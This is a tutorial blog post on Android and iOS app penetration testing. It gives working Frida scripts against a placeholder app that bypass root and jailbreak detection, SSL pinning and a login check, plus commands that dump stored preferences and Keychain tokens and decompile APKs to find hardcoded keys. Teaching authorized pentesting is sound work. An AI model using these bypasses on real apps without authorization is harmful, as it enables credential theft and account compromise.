Mobile App Penetration Testing: Android & iOS

Introduction to Mobile App Penetration Testing

Mobile app penetration testing involves assessing the security of Android and iOS applications to identify vulnerabilities that could be exploited by attackers. With mobile apps handling sensitive data like financial information, personal details, and authentication credentials, securing them is critical. This guide covers common vulnerabilities, testing methodologies, and tools for Android and iOS platforms.

If you’re new to penetration testing, check out our guide to penetration testing certifications to build your foundational knowledge.

Common Mobile App Vulnerabilities

Android Penetration Testing

# Frida script to hook root detection
Java.perform(function() {
    var RootChecker = Java.use("com.example.app.RootChecker");
    RootChecker.isRooted.implementation = function() {
        console.log("Bypassing root detection");
        return false;
    };
});

// Run with Frida
frida -U -f com.example.app -l bypass_root.js

# Access SharedPreferences on a rooted device
adb shell
cd /data/data/com.example.app/shared_prefs
cat preferences.xml

# Example output (unencrypted sensitive data)

iOS Penetration Testing

# Frida script to bypass jailbreak detection
var NSFileManager = ObjC.classes.NSFileManager;
Interceptor.attach(NSFileManager['- fileExistsAtPath:'], {
    onLeave: function(retval) {
        if (retval.toInt32() == 1) {
            console.log("Bypassing jailbreak detection");
            retval.replace(0);
        }
    }
});

// Run with Frida
frida -U -f com.example.app -l bypass_jailbreak.js

# Dump Keychain on a jailbroken device
objection -g com.example.app explore
keychain dump

# Example output (unencrypted sensitive data)
[
    {
        "service": "com.example.app",
        "key": "user_token",
        "data": "sensitive_token"
    }
]

Common Exploitation Techniques

1. Intercepting Network Traffic

Use a proxy like Burp Suite to intercept and analyze network traffic for insecure communication. Our Burp Suite for Mobile Testing guide provides detailed setup instructions.

# Frida script to disable SSL pinning (Android/iOS)
Java.perform(function() {
    var CertificatePinner = Java.use("okhttp3.CertificatePinner");
    CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(host, certs) {
        console.log("Bypassing SSL pinning for " + host);
    };
});

// Run with Frida
frida -U -f com.example.app -l bypass_ssl.js

2. Reverse Engineering

Decompile Android APKs or iOS IPAs to identify hardcoded credentials, API keys, or logic flaws.

# Decompile APK with APKTool
apktool d app.apk

# Inspect smali code or resources
cat app/smali/com/example/app/MainActivity.smali

# Example finding (hardcoded key)
const-string v0, "API_KEY"
const-string v1, "12345-abcdef"

3. Runtime Manipulation

Use tools like Frida or Objection to modify app behavior at runtime, bypassing authentication or restrictions. Learn more about Frida for Mobile Pentesting in our detailed tutorial.

# Frida script to bypass login check
Java.perform(function() {
    var LoginActivity = Java.use("com.example.app.LoginActivity");
    LoginActivity.validateCredentials.implementation = function(username, password) {
        console.log("Bypassing login for " + username);
        return true;
    };
});

// Run with Frida
frida -U -f com.example.app -l bypass_login.js

Mitigation Techniques

Conclusion

Mobile app penetration testing for Android and iOS requires a deep understanding of platform-specific security mechanisms and vulnerabilities. By leveraging tools like Frida, MobSF, and Burp Suite, pentesters can identify and exploit weaknesses, while developers can implement robust mitigations to protect users.

For more security resources, explore our Mobile Security category on cybersamir.com.

Further Resources

• OWASP Mobile Security Project
• Mobile Security Framework (MobSF)
• Frida Documentation
• Burp Suite for Mobile Testing
• Essential Mobile Pentesting Tools on cybersamir.com